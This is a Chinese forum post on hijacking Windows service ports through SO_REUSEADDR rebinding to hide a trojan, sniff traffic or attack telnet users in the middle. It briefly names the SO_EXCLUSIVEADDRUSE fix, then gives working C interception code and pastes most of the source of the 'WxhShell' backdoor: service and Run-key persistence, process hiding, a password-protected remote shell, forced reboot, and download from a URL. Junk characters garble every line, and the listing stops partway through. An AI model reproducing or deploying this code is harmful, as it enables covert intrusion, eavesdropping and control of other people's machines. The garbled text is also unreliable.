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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MNSbtT*^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >3c@x  
cI=(\pC  
  saddr.sin_family = AF_INET; bf9a 1<\  
yRo- EP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :O(^w}sle  
^5=B`aich  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xhRngHU\z<  
To?W?s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bT&: fHc  
AE} )o)B  
  这意味着什么?意味着可以进行如下的攻击: /% N r?V  
EY \H=@A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;\p KDPr  
H"qOSf{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @-+Q# Zz`  
rL}YLR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 92^w8Z.  
-YsLd 9^4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Nj?/J47?,  
qu|B4?Y/CR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .|/~op4;  
"_`F\DGAZu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $^@)  
wQRZ"ri,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L:9F:/G  
&LbJT$}V  
  #include !ET~KL!  
  #include [ :zO}r:  
  #include )KP5Wud X  
  #include    @r?Uua  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [o?* "c  
  int main() p1vp 8p  
  { bR V+>;L0@  
  WORD wVersionRequested; @'|)~,"bx  
  DWORD ret; |O"lNUW   
  WSADATA wsaData; l&[;rh  
  BOOL val; C*`mM'#  
  SOCKADDR_IN saddr; uJ6DO#d`P  
  SOCKADDR_IN scaddr; Kw#i),M  
  int err; 7^g&)P  
  SOCKET s; x:QgjK  
  SOCKET sc; ;$z$@@WC  
  int caddsize; P LueVz  
  HANDLE mt; uV=Qp1~  
  DWORD tid;   v'BZs   
  wVersionRequested = MAKEWORD( 2, 2 ); 9 -rNw?7  
  err = WSAStartup( wVersionRequested, &wsaData ); 0=K9`=5d0  
  if ( err != 0 ) { rta:f800z  
  printf("error!WSAStartup failed!\n"); -N"&/)  
  return -1; 1|ra&(=)  
  } mdw7}%5V  
  saddr.sin_family = AF_INET; z(H^..<!5  
   _%GGl$kH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /IsS;0K%L  
i@4~.iZ8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?2oHZ%G  
  saddr.sin_port = htons(23); E <c9#I=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HcqfB NM  
  { lIProF0  
  printf("error!socket failed!\n"); Jej` ;I  
  return -1; _vZ"4L+Iw+  
  } !&"<oPjr+  
  val = TRUE; t 89!Ihk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ovj^IjG-`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4)("v-p  
  { !=N"vD*  
  printf("error!setsockopt failed!\n"); fXcm|U,ho  
  return -1; Lliq j1&  
  } N"3b{Qi o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B` k\EL'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HB7;0yt`:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1n@8Kv  
PnoPb k[<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Yc'kvj)_M  
  { yfm^?G|sW  
  ret=GetLastError(); 8)4P Ll  
  printf("error!bind failed!\n"); o";Z$tAJkC  
  return -1; zF`c8Tsx])  
  } rf$X>M=G  
  listen(s,2); u&n' ITH  
  while(1) uh?>- ]r`  
  { BN4_:  
  caddsize = sizeof(scaddr); l'3pQ;  
  //接受连接请求 zA1lca0HK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -*XCxU'  
  if(sc!=INVALID_SOCKET) nI*v820,  
  { rW0FA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'UYR5Y>  
  if(mt==NULL) kbMYMx.[  
  { Oj^,m.R  
  printf("Thread Creat Failed!\n"); Q_Gi]M9  
  break; t8dm)s[r8  
  } PoT`}-9  
  } |P%DkM*X  
  CloseHandle(mt); D &/L:  
  } z5r$M  
  closesocket(s); TqddOp  
  WSACleanup(); y8rm  
  return 0; /<]{KI  
  }   ?G -e](]^<  
  DWORD WINAPI ClientThread(LPVOID lpParam) _C`K*u 6Z<  
  { sUU{fNC6|  
  SOCKET ss = (SOCKET)lpParam; x(eb5YS  
  SOCKET sc; ruazOmnn~  
  unsigned char buf[4096]; r}jGUe}d  
  SOCKADDR_IN saddr; k0Uyf~p~  
  long num; !H}vu]R  
  DWORD val; iV eC=^1  
  DWORD ret; .3MIcj=p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,Y>Bex_v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7IjQi=#:  
  saddr.sin_family = AF_INET; )-`;1ca)s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >J>b>SU=-  
  saddr.sin_port = htons(23); q2et|QCru  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1Q. \s_2  
  { XGkkB  
  printf("error!socket failed!\n"); cwL1/DGDB  
  return -1; \ 5,MyB2/`  
  } ~PHB_cyth  
  val = 100; |e2be1LD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7%{ |  
  { *7wAkljP  
  ret = GetLastError(); w18y}mS"H  
  return -1; .k0~Vh2u  
  } A21N|$[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YR;^hs?  
  { <E0UK^-}  
  ret = GetLastError(); |USX[j m\  
  return -1; 1 %,a =,v  
  } b/Xbs0q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ME=/|.}D<  
  { Vl2XDkhq  
  printf("error!socket connect failed!\n"); )u qA(R>  
  closesocket(sc); F<(i.o(  
  closesocket(ss); Z%x\~ )~  
  return -1; ]hbyELs  
  } ._+J_ts  
  while(1) -G|G_$9  
  { /0eYMG+K=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rQaxr!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 37RLE1Yf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "|HDGA5  
  num = recv(ss,buf,4096,0); HuV J\%.  
  if(num>0) R%c SJ8O#  
  send(sc,buf,num,0); XB_B4X1R  
  else if(num==0) Jzp#bgq}|  
  break; MG{YrX)oi  
  num = recv(sc,buf,4096,0); HX6Ma{vBk  
  if(num>0) &|`C)6[C  
  send(ss,buf,num,0); kGN+rHo   
  else if(num==0) "&%#!2  
  break; E]6z8juO6  
  } 'gt-s547  
  closesocket(ss); I'@Ydt2  
  closesocket(sc); Q(\4]i< S  
  return 0 ; IEcf  
  } edK|NOOZ  
D11F.McM  
}@^4,FKJ  
========================================================== 3yNU$.g  
-Fn  }4M  
下边附上一个代码,,WXhSHELL dzkw$m^@^  
? mhs$g>  
========================================================== p}<w#p |  
~jb"5CX  
#include "stdafx.h" ]J#9\4Sq  
nQ/E5y  
#include <stdio.h> 25&J7\P*  
#include <string.h> |eWjYGwJa  
#include <windows.h> mSo_} je(  
#include <winsock2.h> gy;+_'.j   
#include <winsvc.h> KW7UUXL  
#include <urlmon.h> oy;K_9\  
=2 *rA'im  
#pragma comment (lib, "Ws2_32.lib") V$uk6#  
#pragma comment (lib, "urlmon.lib") W mm4hkf  
%.z,+Zz?  
#define MAX_USER   100 // 最大客户端连接数 A?@@*$&  
#define BUF_SOCK   200 // sock buffer WsD M{1c  
#define KEY_BUFF   255 // 输入 buffer 1NcCy! +  
,do58i K  
#define REBOOT     0   // 重启  HyR!O>  
#define SHUTDOWN   1   // 关机 U5 r7j  
Wy%s1iu  
#define DEF_PORT   5000 // 监听端口 |qoKO:B4-[  
/P 2[:[w  
#define REG_LEN     16   // 注册表键长度 )<xypDQ  
#define SVC_LEN     80   // NT服务名长度 f +hjC  
8Y#\xzod  
// 从dll定义API DU=dLE6-P;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h48SItY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E!O\87[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {$1J=JbE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >G'SbQ8  
jU5}\oP@  
// wxhshell配置信息 7^Yk`Z?|a  
struct WSCFG { wm+})SOX9  
  int ws_port;         // 监听端口 Rtjqx6-B;  
  char ws_passstr[REG_LEN]; // 口令 E[^ {w  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y1arX^Zb  
  char ws_regname[REG_LEN]; // 注册表键名 nIvJrAm4k  
  char ws_svcname[REG_LEN]; // 服务名 8L1ohj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Mgq1Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d|iy#hy"_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q*XE h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q}FVzahv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aBzszp]l+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fkSwD(  
w\19[U3  
}; g5q$A9.Jl  
U-^[lWn[@4  
// default Wxhshell configuration tM#lFmdd\P  
struct WSCFG wscfg={DEF_PORT, E~kG2x{a  
    "xuhuanlingzhe", _0 m\[t.  
    1, PG]%Bv57  
    "Wxhshell", Gx 72  
    "Wxhshell", WW@d:R  
            "WxhShell Service", rP(eva  
    "Wrsky Windows CmdShell Service", !(t,FYeH  
    "Please Input Your Password: ", ]1gx#y 2  
  1, YKa0H%B(  
  "http://www.wrsky.com/wxhshell.exe", kHv[H]+v  
  "Wxhshell.exe" <s@-:;9~  
    }; O,.!2wVrN  
I_q~*/<h  
// 消息定义模块 ')N{wSM9Ft  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A$WZF/x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~xIj F1Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d` Sr4c  
char *msg_ws_ext="\n\rExit."; +B|7p9qy  
char *msg_ws_end="\n\rQuit."; 28OWNS M=  
char *msg_ws_boot="\n\rReboot..."; 'r\ V. 4  
char *msg_ws_poff="\n\rShutdown..."; S:61vD  
char *msg_ws_down="\n\rSave to "; |0z;K:5s  
"Y=+Ls(3o(  
char *msg_ws_err="\n\rErr!"; >5 b/or  
char *msg_ws_ok="\n\rOK!"; 5IKL#V `3a  
/Ky__l!bu  
char ExeFile[MAX_PATH]; 5%}wV,Y  
int nUser = 0; j:bgR8 %e  
HANDLE handles[MAX_USER];  a1j.fA  
int OsIsNt; _Zc%z@}  
vEG'HOP  
SERVICE_STATUS       serviceStatus; fKtV '/X;Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c={Ft*N  
HWm#t./  
// 函数声明  2Cg$,#H  
int Install(void); 4m-I5!=O  
int Uninstall(void); _3Cn{{ A0  
int DownloadFile(char *sURL, SOCKET wsh); U,Mx@KdV  
int Boot(int flag); D?M!ra  
void HideProc(void); xE-7P|2  
int GetOsVer(void); *XWq?hi  
int Wxhshell(SOCKET wsl); \VSATL:]  
void TalkWithClient(void *cs); >b.^kc  
int CmdShell(SOCKET sock); /b;K  
int StartFromService(void); j!z-)p8hy  
int StartWxhshell(LPSTR lpCmdLine); \x >65;  
~LQ[4h<J !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ; "3+YTtp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ np,_yI  
nNmsr=y5  
// 数据结构和表定义 =IKEb#R/  
SERVICE_TABLE_ENTRY DispatchTable[] =  oK 9'  
{ Yct5V,X^  
{wscfg.ws_svcname, NTServiceMain}, 0qFH s  
{NULL, NULL} MEiRj]t  
}; |3? 8)z\n  
B%\gkl  
// 自我安装 5HS~op2n/  
int Install(void) 0D~ C 5}/4  
{ _KD5T4FZR  
  char svExeFile[MAX_PATH]; 4l8BQz}sb  
  HKEY key; GYB+RU}],  
  strcpy(svExeFile,ExeFile); 9F;S+)H4  
JmpsQ,,  
// 如果是win9x系统,修改注册表设为自启动 Pgp {$ID  
if(!OsIsNt) { V84*0&qOW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iGXBqUQ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~]L}p  
  RegCloseKey(key); j*;N\;iL!*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EN !?:RV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bf4%G,o5  
  RegCloseKey(key); /Y^8SO4  
  return 0; |vFj*XU  
    } `3q;~ 9  
  } v0l_w  
} $WW)bP d4^  
else { D';eTy Y  
#:ns64|  
// 如果是NT以上系统,安装为系统服务 G"y.Z2$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PKq-@F%X  
if (schSCManager!=0) 8X&Ya =  
{ "?.~/@  
  SC_HANDLE schService = CreateService uM(UO,X  
  ( "zZI S6j  
  schSCManager, 3,aN8F1;C  
  wscfg.ws_svcname, y~<@x.  
  wscfg.ws_svcdisp, I]}>|  
  SERVICE_ALL_ACCESS, 8Og3yFx[rt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pz doqAVI  
  SERVICE_AUTO_START, o!&W sD  
  SERVICE_ERROR_NORMAL, v@EQ^C2.&  
  svExeFile, yy(A(}  
  NULL, bb=uF1  
  NULL, F#+.>!  
  NULL, Ey&aB YR  
  NULL, HT`1E0G8)  
  NULL ,7d|O}B  
  ); o`r(`6@  
  if (schService!=0) YT yX`Y#  
  { +iF 1sC_  
  CloseServiceHandle(schService); #^mqQRpgq  
  CloseServiceHandle(schSCManager); ^~ L}<]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?Hy+'sq[  
  strcat(svExeFile,wscfg.ws_svcname); rlznwfr7+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QYThW7S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~S(^T9R  
  RegCloseKey(key); mgkyC5)d  
  return 0; pvXcLR)L+3  
    } ^i_Iqph=  
  } {8NwFN.  
  CloseServiceHandle(schSCManager); eXy"^x p^  
} XrN- 2HTV  
} B/eaqJ  
_|,{ ^m|d  
return 1; =K$,E4*  
} _dU P7H (  
Nf?\AK!  
// 自我卸载 LAZVW</  
int Uninstall(void) [>w%CY<Fd  
{ 5 d ;|=K  
  HKEY key; r[HT9  
E20 :uZ7\  
if(!OsIsNt) {  U w Eiz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U=!@Db5k~  
  RegDeleteValue(key,wscfg.ws_regname); &2.+I go|G  
  RegCloseKey(key); C}CKnkMMD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V,LVB_6  
  RegDeleteValue(key,wscfg.ws_regname); m4/}Jx[  
  RegCloseKey(key); J4yt N3  
  return 0; QB1M3b  
  } Q_}/ Pn$1  
} ; Zq/eiB  
} }e=e",eAT  
else { 5()Fvae{k  
k90B!kg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (@ ]tG?I=  
if (schSCManager!=0) H=. K  
{ Hq xK\m%,.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  *W^=XbG  
  if (schService!=0) 8B@J Fpg^  
  { #/WAzYt{  
  if(DeleteService(schService)!=0) { 5N1 K~".  
  CloseServiceHandle(schService); 8wF#e\Va0  
  CloseServiceHandle(schSCManager); Gc;B[/:  
  return 0; o'qm82* =  
  } vR]mSX3)?  
  CloseServiceHandle(schService); u@D .i4U  
  } ~Fx&)kegTo  
  CloseServiceHandle(schSCManager); iVeQ]k(u  
} ="B n=>  
} .5g}rxO8  
7c::Qf[|  
return 1; QHQj/)J8  
} %3,xaVN  
+"L$ed(=nJ  
// 从指定url下载文件 "=A|K~b  
int DownloadFile(char *sURL, SOCKET wsh) B| Q6!  
{ rl|Q)A{  
  HRESULT hr; ~t9Mh^gij  
char seps[]= "/"; t:9 ZCu ay  
char *token; },6*Y*?{  
char *file; J~dTVBx  
char myURL[MAX_PATH]; o>!JrH  
char myFILE[MAX_PATH]; N5\{yV21",  
^K*-G@B  
strcpy(myURL,sURL); _$(GRNRYK  
  token=strtok(myURL,seps); k5X b}@  
  while(token!=NULL) S OI)/u  
  { &"AQ; %&N  
    file=token; L<)Z>@fR  
  token=strtok(NULL,seps); r{V.jZ%p'Z  
  } h[H%:743  
Ej|A ; &E  
GetCurrentDirectory(MAX_PATH,myFILE); m0Z7N5v)  
strcat(myFILE, "\\"); 1NGyaI  
strcat(myFILE, file); -kc(u1!  
  send(wsh,myFILE,strlen(myFILE),0); qC.i6IL  
send(wsh,"...",3,0); 0Bu*g LY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kJeu40oN  
  if(hr==S_OK) Ws>i)6[  
return 0; 6!RikEAh  
else -aN":?8(G  
return 1; irmwc'n]  
cUC17z2D  
} O#PwRud$  
xPvRQ  
// 系统电源模块 R2Yl)2 D  
int Boot(int flag) ni0LQuBp  
{ Y^5"qd|`  
  HANDLE hToken; x-4J/tm  
  TOKEN_PRIVILEGES tkp; LT(?#)D  
=~$U^IsWA  
  if(OsIsNt) { /h-6CR Ka  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tGqQJT#mr7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 54wM8'+  
    tkp.PrivilegeCount = 1; .xnQd^qoac  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q;@X2 JSp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :}y| 4*z  
if(flag==REBOOT) { 9,KVBO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O,]_ tp  
  return 0; :H3(w|T/  
} .m!s". ?[  
else { UU"d_~pp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =N;$0 Y(g  
  return 0; neIy~H_#!  
} rr)9Y][l}  
  } NlMQHma  
  else { ,W8au"  
if(flag==REBOOT) { :@WLGK*u.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cb4b, Ri  
  return 0; 1{7_ `[  
} =<>pKQ)[  
else { j aD!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z]p8IH%~92  
  return 0; 2| $k`I,  
} y\@SC\jk|  
} < %/:w/  
:SQ LfOQ  
return 1; L-MiaKcL  
} pr)K{~m]{<  
#a.\P.{L  
// win9x进程隐藏模块 Kf&r21h  
void HideProc(void) S8vx[<  
{ ,NDxFy;d  
Q+HZ?V(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FQQ@kP$.  
  if ( hKernel != NULL ) `TAcZl=8  
  { 6l<1A$BQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I=K[SY,]9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?U$}Rsk{#  
    FreeLibrary(hKernel); .u&|e  
  } bt0djJRw  
Gk{W:866  
return; V!H(;Tuuo  
} ]}/mFY?7  
|o|gP8  
// 获取操作系统版本 OM1*Iy  
int GetOsVer(void) m^5s >hUl  
{ /AoVl'R  
  OSVERSIONINFO winfo; wd"TM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bD  d_}  
  GetVersionEx(&winfo); df!+T0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N JXa_&_  
  return 1; _qEWu Do  
  else 8>2&h  
  return 0; ws. ?cCTpt  
} 2(hvv-  
pEY>A_F  
// 客户端句柄模块 Q;=6ag'  
int Wxhshell(SOCKET wsl) #`r(zI[  
{ +_P8'e%Iy  
  SOCKET wsh; {WIY8B'c  
  struct sockaddr_in client; <( cM*kV  
  DWORD myID; _F3KFQ4,S-  
`B:B7Cpvn  
  while(nUser<MAX_USER) (/('nY  
{ 2B5A!? ~>  
  int nSize=sizeof(client); >pN;J)H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  7N!tp,?  
  if(wsh==INVALID_SOCKET) return 1; _w\Y{(k  
q"P5,:W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _s2m-jm7  
if(handles[nUser]==0) { ( _B  
  closesocket(wsh); QCVsVG!sN  
else Lf[G>0t&n  
  nUser++; ]sf2"~v  
  } zoJ_=- *s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wk7L:uK  
};i&a%I|  
  return 0; c6f|y_ 2  
} @< wYT$  
u,:CJ[3  
// 关闭 socket j l}!T[5  
void CloseIt(SOCKET wsh) Fecx';_1`  
{ mx:J>SPA8  
closesocket(wsh); Gv!BB=ir(  
nUser--; #4Dn@Gqh.Y  
ExitThread(0); |if~i;VKL  
} w:ORmR .p  
KuIBYaK, g  
// 客户端请求句柄 <j{0!J@:  
void TalkWithClient(void *cs) XulaPq  
{ aytq4Ts  
X!HDj<  
  SOCKET wsh=(SOCKET)cs; q-A`/9  
  char pwd[SVC_LEN]; fEx+gQW_  
  char cmd[KEY_BUFF]; <jpeu^7  
char chr[1]; Rrh<mo(yj#  
int i,j; }Q47_]5  
e$ThSh\+(  
  while (nUser < MAX_USER) { tx2Vyu  
dDsjPM;2  
if(wscfg.ws_passstr) { mrK,Ql  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i_[^s:*T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TS\9<L9S  
  //ZeroMemory(pwd,KEY_BUFF); Uc_'3|e  
      i=0; LDT'FwMjy  
  while(i<SVC_LEN) { z0\;m{TH  
GS$ZvO  
  // 设置超时 !w @1!Xpn1  
  fd_set FdRead; =Jsg{vI  
  struct timeval TimeOut; <$RS*n  
  FD_ZERO(&FdRead); _8,vk-,'  
  FD_SET(wsh,&FdRead); A/ 7r:yO  
  TimeOut.tv_sec=8; gJ<@;O8zu0  
  TimeOut.tv_usec=0; fBHkLRFH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = 4BLc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #citwMW  
qf_h b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 04I6 -}6  
  pwd=chr[0]; Z}sG3p  
  if(chr[0]==0xd || chr[0]==0xa) { d9`3EP)n  
  pwd=0; 1mT|o_K{ T  
  break; cmwzKu%  
  } 34X(J-1\|i  
  i++; f}L>&^I)  
    } u@GRN`yn  
3X88x-3  
  // 如果是非法用户,关闭 socket DQ}_9?3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @4G.(zW  
} r24\DvS  
ZcUh[5:|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V-?sek{;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WE+sFaKq-  
2(+RIu0d  
while(1) { m1^dT_7Z  
&(5^v w<0  
  ZeroMemory(cmd,KEY_BUFF); 5W?yj>JR  
g28S3 '2  
      // 自动支持客户端 telnet标准   wQF&GGY R  
  j=0; <7vIh0  
  while(j<KEY_BUFF) { ",MK'\E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  aX>4Tw  
  cmd[j]=chr[0]; ?)A]q' O  
  if(chr[0]==0xa || chr[0]==0xd) { x:f|3"\s  
  cmd[j]=0; O vyB<r  
  break; GCf._8;%  
  } sDzD 8as  
  j++; W _PM!>8`  
    } _9}x2uO~  
m NUN6qVP~  
  // 下载文件 LU-#=1Q  
  if(strstr(cmd,"http://")) { k7z(Gbzu   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lU&`r:1>_  
  if(DownloadFile(cmd,wsh)) "@c';".|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kr/1Dsr4  
  else {u(}ED#p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *eJhd w*  
  } oyKt({  
  else { k#8S`W8^  
j6&zRFX  
    switch(cmd[0]) { G/LXUhuif  
  1jZDw~  
  // 帮助 NDs]}5#   
  case '?': { ?L<UOv7;t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vOvxQS}dBp  
    break; h 7(H%(^_  
  } c~^]jqid]  
  // 安装 Mm>zpB`qP  
  case 'i': { =`7#^7Q9  
    if(Install()) V'HlAQr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \dp9@y[^  
    else e B(S+p?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DWm;&RPJ  
    break; *0Wi^f  
    } s60:0>  
  // 卸载 ~n8*@9[  
  case 'r': { U&Sbm~Qi  
    if(Uninstall()) :o.x=c B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PO1:9  
    else ={mPg+Ei'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "a0u-}/D  
    break; V:0uy>  
    } iS:PRa1  
  // 显示 wxhshell 所在路径 C%95~\Ds  
  case 'p': { 2h|(8f:y  
    char svExeFile[MAX_PATH]; U'h[ {ek  
    strcpy(svExeFile,"\n\r"); U!;aM*67  
      strcat(svExeFile,ExeFile); HYI1 o/}  
        send(wsh,svExeFile,strlen(svExeFile),0); {g!exbVf  
    break; ~ ];6hxv  
    } o $HJg  
  // 重启 ;)= zvr17  
  case 'b': { H(%] Os  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {>UMw>T[  
    if(Boot(REBOOT)) Z68Wf5@to&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [:R P9r}  
    else { qy42Y/8'  
    closesocket(wsh);  'QekQ];  
    ExitThread(0); y_7XYT!w  
    } d4/`:?w  
    break; mtWx ?x  
    } @k:f}-t  
  // 关机 z)<pqN  
  case 'd': { T`w};]z^d2  
